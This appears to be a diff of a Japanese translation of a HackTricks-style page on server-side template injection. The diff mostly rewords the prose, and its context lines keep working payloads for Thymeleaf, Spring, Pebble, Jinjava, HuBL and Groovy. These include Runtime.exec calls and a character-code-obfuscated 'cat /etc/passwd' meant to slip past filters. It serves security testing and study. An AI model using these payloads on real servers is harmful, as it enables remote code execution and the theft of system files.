```
-これは、テンプレートエンジンがこれらの入力を適切に処理しない場合、次のようなURLにアクセスしてリモートコードを実行する可能性があることを示しています:
+これは、テンプレートエンジンがこれらの入力を不適切に処理した場合、次のようなURLにアクセスするリモートコード実行につながる可能性があることを示しています:
```
http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
@@ -208,19 +209,19 @@ http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
[el-expression-language.md](el-expression-language.md)
{% endcontent-ref %}
-### Spring Framework (Java)
+### Springフレームワーク (Java)
```java
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
```
-**フィルターをバイパスする**
+**フィルターのバイパス**
-複数の変数式を使用できます。`${...}`が機能しない場合は、`#{...}`、`*{...}`、`@{...}`、または`~{...}`を試してみてください。
+複数の変数式を使用できます。`${...}`が機能しない場合は、`#{...}`、`*{...}`、`@{...}`、または`~{...}`を試してください。
-* `/etc/passwd`を読む
+* `/etc/passwd`を読み取る
```java
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
```
-* ペイロード生成用のカスタムスクリプト
+* ペイロード生成のためのカスタムスクリプト
```python
#!/usr/bin/python3
@@ -253,7 +254,7 @@ print(base_payload + end_payload)
* [Thymleaf SSTI](https://javamana.com/2021/11/20211121071046977B.html)
* [Payloads all the things](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#java---retrieve-etcpasswd)
-### Spring View Manipulation (Java)
+### Springビュー操作 (Java)
```java
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
@@ -268,11 +269,11 @@ __${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
* `{{ someString.toUPPERCASE() }}`
-Pebbleの古いバージョン(バージョン3.0.9未満):
+Pebbleの古いバージョン ( < version 3.0.9):
```java
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
```
-新しいバージョンのPebble:
+新しいバージョンのPebble :
```java
{% raw %}
{% set cmd = 'id' %}
@@ -294,17 +295,15 @@ Pebbleの古いバージョン(バージョン3.0.9未満):
.newInstance(([bytes]).toArray()) }}
```
### Jinjava (Java)
-
-Jinjavaは、Java向けの強力なテンプレートエンジンです。これは、サーバーサイドテンプレートインジェクション(SSTI)攻撃の標的になる可能性があります。 Jinjavaを使用している場合は、慎重に入力検証とエスケープを行うことが重要です。
```java
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
```
-JinjavaはHubspotによって開発されたオープンソースプロジェクトで、[https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/)で入手可能です。
+Jinjavaは、Hubspotによって開発されたオープンソースプロジェクトで、[https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/)で入手できます。
**Jinjava - コマンド実行**
-[https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpot/jinjava/pull/230)によって修正済み
+[https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpot/jinjava/pull/230)によって修正されました。
```java
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
@@ -320,9 +319,9 @@ JinjavaはHubspotによって開発されたオープンソースプロジェク
### Hubspot - HuBL (Java)
-* `{% %}` ステートメントの区切り記号
-* `{{ }}` 式の区切り記号
-* `{# #}` コメントの区切り記号
+* `{% %}` ステートメント区切り
+* `{{ }}` 式区切り
+* `{# #}` コメント区切り
* `{{ request }}` - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
* `{{'a'.toUpperCase()}}` - "A"
* `{{'a'.concat('b')}}` - "ab"
@@ -330,7 +329,7 @@ JinjavaはHubspotによって開発されたオープンソースプロジェク
* `{{request.getClass()}}` - class com.hubspot.content.hubl.context.TemplateContextRequest
* `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
-"com.hubspot.content.hubl.context.TemplateContextRequest" を検索し、[Github 上の Jinjava プロジェクト](https://github.com/HubSpot/jinjava/) を発見しました。
+"com.hubspot.content.hubl.context.TemplateContextRequest"を検索し、[JinjavaプロジェクトをGithubで発見](https://github.com/HubSpot/jinjava/)。
```java
{{request.isDebug()}}
//output: False
@@ -371,11 +370,11 @@ JinjavaはHubspotによって開発されたオープンソースプロジェク
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
```
-**詳細**
+**詳細情報**
* [https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html)
-### Expression Language - EL (Java)
+### 表現言語 - EL (Java)
* `${"aaaa"}` - "aaaa"
* `${99999+1}` - 100000.
@@ -383,21 +382,21 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
* `${{7*7}}` - 49
* `${{request}}, ${{session}}, {{faceContext}}`
-式言語(EL)は、JavaEEにおいてプレゼンテーション層(Webページなど)とアプリケーションロジック(管理されたBeanなど)との間のやり取りを容易にする基本的な機能です。これは、複数のJavaEEテクノロジー全体で広く使用され、このコミュニケーションを効率化します。ELを利用する主要なJavaEEテクノロジーには次のものがあります:
+表現言語 (EL) は、JavaEEにおけるプレゼンテーション層(ウェブページなど)とアプリケーションロジック(マネージドビーンなど)との相互作用を促進する基本的な機能です。この通信を効率化するために、複数のJavaEE技術で広く使用されています。ELを利用する主要なJavaEE技術には以下が含まれます:
-* **JavaServer Faces(JSF)**:ELを使用して、JSFページのコンポーネントを対応するバックエンドデータやアクションにバインドします。
-* **JavaServer Pages(JSP)**:JSPではELが使用され、JSPページ内のデータへのアクセスや操作が可能になり、ページ要素をアプリケーションデータに接続しやすくなります。
-* **Contexts and Dependency Injection for Java EE(CDI)**:ELはCDIと統合され、Web層と管理されたBeanとの間のシームレスなやり取りを可能にし、より一貫したアプリケーション構造を確保します。
+* **JavaServer Faces (JSF)**: JSFページ内のコンポーネントを対応するバックエンドデータおよびアクションにバインドするためにELを使用します。
+* **JavaServer Pages (JSP)**: JSP内でデータにアクセスし操作するためにELが使用され、ページ要素をアプリケーションデータに接続しやすくします。
+* **Java EEのためのコンテキストと依存性注入 (CDI)**: ELはCDIと統合され、ウェブ層とマネージドビーン間のシームレスな相互作用を可能にし、より一貫したアプリケーション構造を確保します。
-**ELインタプリタの悪用**について詳しく学ぶには、次のページをチェックしてください:
+**ELインタープリタの悪用**について詳しくは、以下のページを確認してください:
{% content-ref url="el-expression-language.md" %}
[el-expression-language.md](el-expression-language.md)
{% endcontent-ref %}
-### Groovy(Java)
+### Groovy (Java)
-次のセキュリティマネージャーバイパスは、この[**解説記事**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/)から取得されました。
+以下のセキュリティマネージャーバイパスは、この[**記事**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/)から取得されました。
```java
//Basic Payload
import groovy.*;
@@ -424,7 +423,7 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
```
-[**RootedCON**](https://www.rootedcon.com/)は**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの一つです。**技術的知識の促進を使命**とするこの会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家にとっての熱い出会いの場です。
+[**RootedCON**](https://www.rootedcon.com/) は **スペイン** で最も重要なサイバーセキュリティイベントであり、**ヨーロッパ** で最も重要なイベントの一つです。 **技術的知識の促進** を使命とし、この会議はあらゆる分野の技術とサイバーセキュリティの専門家が集まる熱い交流の場です。
{% embed url="https://www.rootedcon.com/" %}
@@ -440,7 +439,7 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
```
**詳細情報**
-* Smartyセクションの[https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
+* [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) のSmartyセクション
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty)
### Twig (PHP)
@@ -487,12 +486,12 @@ array("first_name" => $user.first_name)
```
**詳細情報**
-* [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)のTwigとTwig(Sandboxed)セクション
+* [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) のTwigおよびTwig (Sandboxed)セクション
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig)
-### Plates(PHP)
+### Plates (PHP)
-PlatesはPHP固有のテンプレートエンジンであり、Twigからインスピレーションを受けています。ただし、新しい構文を導入するTwigとは異なり、PlatesはテンプレートでネイティブなPHPコードを活用しており、PHP開発者にとって直感的です。
+PlatesはPHPにネイティブなテンプレートエンジンで、Twigからインスピレーションを得ています。しかし、Twigが新しい構文を導入するのに対し、Platesはテンプレート内でネイティブPHPコードを活用しており、PHP開発者にとって直感的です。
Controller:
```php
@@ -502,14 +501,14 @@ $templates = new League\Plates\Engine('/path/to/templates');
// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);
```
-ページのテンプレート:
+ページテンプレート:
```php
layout('template', ['title' => 'User Profile']) ?>
User Profile
Hello, =$this->e($name)?>
```
-レイアウトテンプレート:
+レイアウトテンプレート:
```html
@@ -520,13 +519,13 @@ echo $templates->render('profile', ['name' => 'Jonathan']);
```
-**詳細**
+**詳細情報**
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#plates](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#plates)
-### PHPlibとHTML\_Template\_PHPLIB(PHP)
+### PHPlib と HTML\_Template\_PHPLIB (PHP)
-[HTML\_Template\_PHPLIB](https://github.com/pear/HTML\_Template\_PHPLIB)はPHPlibと同じで、Pearに移植されています。
+[HTML\_Template\_PHPLIB](https://github.com/pear/HTML\_Template\_PHPLIB) は PHPlib と同じですが、Pear に移植されています。
`authors.tpl`
```html
@@ -550,23 +549,7 @@ echo $templates->render('profile', ['name' => 'Jonathan']);